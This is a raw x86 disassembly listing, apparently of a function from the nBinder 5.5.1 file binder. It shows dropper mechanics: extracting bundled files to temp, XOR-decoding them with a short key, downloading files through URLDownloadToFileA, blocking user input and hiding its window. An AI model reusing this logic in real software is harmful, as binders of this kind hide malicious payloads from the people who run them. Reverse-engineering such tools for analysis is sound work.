shr eax, 0xa
push eax
push 0x4c8
push dword [0x41ed68]
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [0x41ed68]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 5
push dword [0x41ed68]
call dword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x41e150], 0
jne 0x4068a9
and dword [esp + 0x18], 0
cmp byte [edi + 0x80], 0
je 0x4063ed
push str..nb5.tmp
push dword [esi + 0x14]
push esi
call fcn.00406f2c
cmp dword [esi + 0x18], 0x10
jb 0x4063f8
mov eax, dword [esi + 4]
jmp 0x4063fb
lea eax, [esi + 4]
mov ebx, 0x41a264
push ebx
push eax
lea eax, [esp + 0x48]
push eax
call fcn.0040af2e
add esp, 0xc
test eax, eax
jne 0x406419
cmp dword [esp + 0x40], eax
jne 0x406483
cmp dword [esi + 0x18], 0x10
jb 0x406424
mov eax, dword [esi + 4]
jmp 0x406427
lea eax, [esi + 4]
push eax
call fcn.00409b43
test eax, eax
pop ecx
jne 0x406454
push 1
push 0x41a03c
or edx, 0xffffffff
mov eax, esi
call fcn.00407660
cmp eax, 0xffffffff
je 0x406454
push 0x41a268
push eax
push esi
call fcn.00406f2c
cmp dword [esi + 0x18], 0x10
jb 0x40645f
mov eax, dword [esi + 4]
jmp 0x406462
lea eax, [esi + 4]
push ebx
push eax
lea eax, [esp + 0x48]
push eax
call fcn.0040af2e
add esp, 0xc
test eax, eax
jne 0x406635
cmp dword [esp + 0x40], eax
je 0x406635
cmp byte [edi + 0x87], 0
jne 0x406499
push dword [esp + 0x10]
call fcn.0040acc6
pop ecx
mov dword [edi + 0x7c], eax
cmp dword [edi + 0x78], 0
je 0x40659f
push dword [esp + 0x10]
push 0x1000
push 1
push dword [esp + 0x40]
call fcn.0040a114
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x40659f
cmp dword [esp + 0x40], 0
je 0x40659f
mov eax, dword [esp + 0x18]
add eax, ebx
cmp eax, dword [edi + 0x78]
jbe 0x4064fc
mov ecx, dword [edi + 0x78]
mov eax, ebx
sub eax, ecx
add eax, dword [esp + 0x18]
sub ecx, dword [esp + 0x18]
push 1
neg eax
push eax
push dword [esp + 0x18]
mov ebx, ecx
call fcn.004095ae
add esp, 0xc
test word [0x41e158], 0x4000
je 0x40653c
xor eax, eax
test ebx, ebx
mov dword [esp + 0x24], eax
jbe 0x40653c
mov ecx, dword [esp + 0x34]
add ecx, eax
mov dword [esp + 0x2c], ecx
xor edx, edx
push 0x27
pop ecx
div ecx
mov eax, dword [esp + 0x2c]
mov cl, byte [esp + edx + 0x234]
xor byte [eax], cl
mov eax, dword [esp + 0x24]
inc eax
cmp eax, ebx
mov dword [esp + 0x24], eax
jb 0x406511
push dword [esp + 0x40]
push ebx
push 1
push dword [esp + 0x40]
call fcn.0040a28e
add dword [esp + 0x28], eax
add esp, 0x10
test word [0x41e158], 0x8000
je 0x406592
cmp byte [0x41e150], 0
jne 0x4068a9
mov eax, dword [esp + 0x18]
push 0
shr eax, 0xa
push eax
push 0x464
push dword [0x41ed68]
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [0x41ed68]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, dword [esp + 0x18]
cmp eax, dword [edi + 0x78]
jne 0x4064a3
cmp byte [0x41e150], 0
jne 0x4068a9
push dword [esp + 0x40]
call fcn.004098ad
mov eax, dword [esp + 0x1c]
cmp eax, dword [edi + 0x78]
pop ecx
jne 0x406801
mov byte [edi + 0x87], 1
cmp byte [edi + 0x80], 0
je 0x406611
mov edi, esi
call fcn.00402992
test al, al
jne 0x406611
cmp dword [esi + 0x18], 0x10
jb 0x4065e9
mov eax, dword [esi + 4]
jmp 0x4065ec
lea eax, [esi + 4]
push 0x30
push eax
push str.File_could_not_be_decompressed.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp dword [esi + 0x18], 0x10
jb 0x406607
mov eax, dword [esi + 4]
jmp 0x40660a
lea eax, [esi + 4]
push eax
call fcn.00409b43
pop ecx
mov eax, dword [esp + 0x28]
inc eax
cmp eax, dword [0x41e160]
jne 0x406715
push 0
push dword [0x41ed68]
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x406715
cmp dword [esi + 0x18], 0x10
jb 0x406640
mov esi, dword [esi + 4]
jmp 0x406643
add esi, 4
push 0x30
push esi
push str.File_could_not_be_created.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edi, dword [esp + 0x38]
jmp 0x4067ee
sub esp, 0x1c
add edi, 0x38
mov ecx, esp
mov dword [esp + 0x48], esp
push edi
mov ebx, 0x41e198
call fcn.00406ee5
mov ecx, ebx
lea ebx, [esp + 0x88]
call fcn.00402107
cmp dword [esi + 0x18], 0x10
jb 0x40668c
mov ecx, dword [esi + 4]
jmp 0x40668f
lea ecx, [esi + 4]
cmp dword [eax + 0x18], 0x10
jb 0x40669a
mov eax, dword [eax + 4]
jmp 0x40669d
add eax, 4
xor ebx, ebx
push ebx
push ebx
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
neg eax
sbb al, al
inc al
push ebx
cmp al, bl
push 1
lea ecx, [esp + 0x74]
sete byte [esp + 0x1f]
call fcn.00401469
cmp byte [esp + 0x17], bl
je 0x406715
push 0x30
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x4c], esp
push edi
mov ebx, 0x41e198
call fcn.00406ee5
mov ecx, ebx
lea ebx, [esp + 0x8c]
call fcn.00402107
cmp dword [eax + 0x18], 0x10
jb 0x4066f7
mov eax, dword [eax + 4]
jmp 0x4066fa
add eax, 4
push eax
push str.File_could_not_be_downloaded.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 1
lea ecx, [esp + 0x74]
call fcn.00401469
push dword [esp + 0x1c]
lea eax, [esp + 0x24]
push eax
mov ecx, esi
call fcn.00401cd9
jmp 0x406653
cmp al, 1
jne 0x4067b9
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x419bf7
call fcn.00406ec3
xor eax, eax
xor ecx, ecx
cmp edi, ebx
mov byte [esp + 0x28c], 0x19
jbe 0x406767
mov edx, dword [0x41ed64]
cmp byte [ecx + edx], 1
jne 0x406762
inc eax
inc ecx
cmp ecx, edi
jb 0x406755
imul eax, eax, 0x1c
add eax, dword [esp + 0x4c]
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x64], esp
push eax
call fcn.00406ee5
lea ecx, [esp + 0xcc]
mov byte [esp + 0x2a8], 2
call fcn.00402300
mov ecx, eax
mov byte [esp + 0x270], 0x1a
call fcn.00402d0e
push ebx
push 1
lea ecx, [esp + 0x9c]
mov byte [esp + 0x278], 2
call fcn.00401469
jmp 0x4067ee
cmp al, 2
jne 0x4067ee
xor ecx, ecx
xor eax, eax
cmp edi, ebx
jbe 0x4067d1
cmp byte [eax + edx], 2
jne 0x4067cc
inc ecx
inc eax
cmp eax, edi
jb 0x4067c5
push ecx
call fcn.00404e96
cmp byte [0x41e152], 0
je 0x4067e1
dec edi
cmp byte [0x41e150], 0
jne 0x4068a9
inc edi
cmp edi, dword [0x41e16c]
mov dword [esp + 0x38], edi
jb 0x406255
jmp 0x406841
mov esi, dword [esp + 0x28]
mov eax, dword [esp + 0x3c]
imul esi, esi, 0x1c
add esi, eax
cmp dword [esi + 0x18], 0x10
jb 0x406819
mov eax, dword [esi + 4]
jmp 0x40681c
lea eax, [esi + 4]
push eax
call fcn.00409b43
cmp dword [esi + 0x18], 0x10
pop ecx
jb 0x40682e
mov esi, dword [esi + 4]
jmp 0x406831
add esi, 4
push 0x30
push esi
push str.File_could_not_be_unpacked.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [esp + 0x10]
call fcn.004098ad
pop ecx
push dword [esp + 0x34]
call fcn.00409e37
and dword [esp + 0x38], 0
cmp dword [0x41e160], 0
pop ecx
je 0x4068a9
test word [0x41e158], 0x8000
je 0x4068a9
cmp byte [0x41e150], 0
jne 0x4068a9
xor esi, esi
push esi
push dword [0x41ed68]
mov byte [0x41e150], 1
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push esi
push 0x12
push dword [0x41ed68]
call dword [sym.imp.USER32.dll_PostMessageA]
push dword [0x41ed68]
call dword [sym.imp.USER32.dll_DestroyWindow]
xor ebx, ebx
cmp dword [0x41e160], ebx
mov dword [esp + 0x24], ebx
jbe 0x40695b
mov esi, dword [esp + 0x3c]
mov edi, dword [esp + 0x1c]
add esi, 4
add edi, 0x84
lea eax, [esi - 4]
call fcn.00402827
test al, al
je 0x40691f
cmp byte [edi + 1], bl
je 0x406905
cmp dword [esi + 0x14], 0x10
jb 0x4068e7
mov eax, dword [esi]
jmp 0x4068e9
mov eax, esi
push eax
call fcn.00409b6d
cmp dword [esi + 0x14], 0x10
pop ecx
jb 0x4068fa
mov eax, dword [esi]
jmp 0x4068fc
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40691f
cmp byte [edi], bl
je 0x40691f
cmp dword [esi + 0x14], 0x10
jb 0x406913
mov eax, dword [esi]
jmp 0x406915
mov eax, esi
push 4
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
cmp byte [edi - 3], bl
je 0x40693e
cmp dword [edi - 0x6c], 0x10
jb 0x40692f
mov eax, dword [edi - 0x80]
jmp 0x406932
lea eax, [edi - 0x80]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add esi, 0x1c
add edi, 0x88
cmp eax, dword [0x41e160]
jb 0x4068cc
cmp dword [esp + 0x4c], ebx
je 0x40696b
push dword [esp + 0x4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call sub.USER32.dll_BlockInput
test word [0x41e158], 0x400
je 0x406a72
call fcn.0040216e
mov edi, dword [esp + 0x1c]
cmp dword [esp + 0x34], ebx
je 0x406999
push dword [esp + 0x34]
call fcn.00409e37
pop ecx
cmp edi, ebx
je 0x4069b9
push 0x406b3e
lea esi, [edi - 4]
push dword [esi]
push 0x88
push edi
call fcn.004094c4
push esi
call fcn.00409e37
pop ecx
mov eax, dword [esp + 0x3c]
cmp eax, ebx
je 0x4069c6
call fcn.00406b72
mov eax, dword [esp + 0x30]
cmp eax, ebx
je 0x4069d3
call fcn.00406b72
push dword [0x41ed64]
call fcn.00409e37
xor edi, edi
cmp dword [0x41e168], ebx
pop ecx
jbe 0x406a0f
xor esi, esi
mov eax, dword [0x41ed70]
add eax, esi
cmp byte [eax + 8], bl
je 0x406a03
mov eax, dword [eax + 0xc]
cmp eax, ebx
je 0x406a03
call fcn.00406b72
inc edi
add esi, 0x10
cmp edi, dword [0x41e168]
jb 0x4069eb
push dword [0x41ed70]
call fcn.00409e37
mov esi, dword [0x41eec0]
pop ecx
add esi, 4
push dword [esi]
call fcn.00408710
pop ecx
mov ecx, dword [0x41eec0]
cmp ecx, ebx
mov dword [esi], ebx
je 0x406a3e
mov eax, dword [ecx]
push 1
call dword [eax]
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [esp + 0xf0]
call fcn.00401469
push ebx
push esi
lea ecx, [esp + 0xd4]
call fcn.00401469
push ebx
push esi
lea ecx, [esp + 0xb8]
call fcn.00401469
mov eax, esi
jmp 0x406af4
test byte [0x41e158], 0x10
jne 0x406aa3
mov eax, dword [0x41e160]
cmp eax, ebx
je 0x406985
mov edi, dword [esp + 0x1c]
test byte [edi + 0x74], 0x80
jne 0x406aa3
imul eax, eax, 0x88
test byte [eax + edi - 0x14], 0x80
je 0x406989
call fcn.0040216e
push 0x30
push str.WARNING
push str.This_is_a_modified_version_of_a_file_created_with_nBinder_5.5.1__www.nkprods.com_._The_creation_of_this_file_has_violated_international_copyright_and_license_laws._Please_send_us_any_information_that_may_lead_to_the_source_of_this_file._This_file_will_self_delete.
jmp 0x405118
push 0x10
push edi
push str.An_error_occured_while_trying_to_open_file.
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
push esi
lea ecx, [esp + 0xf0]
call fcn.00401469
push ebx
push esi
lea ecx, [esp + 0xd4]
call fcn.00401469
push ebx
push esi
lea ecx, [esp + 0xb8]
call fcn.00401469
xor eax, eax
mov ecx, dword [esp + 0x268]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x250]
xor ecx, esp
call fcn.00408623
mov esp, ebp
pop ebp
ret 4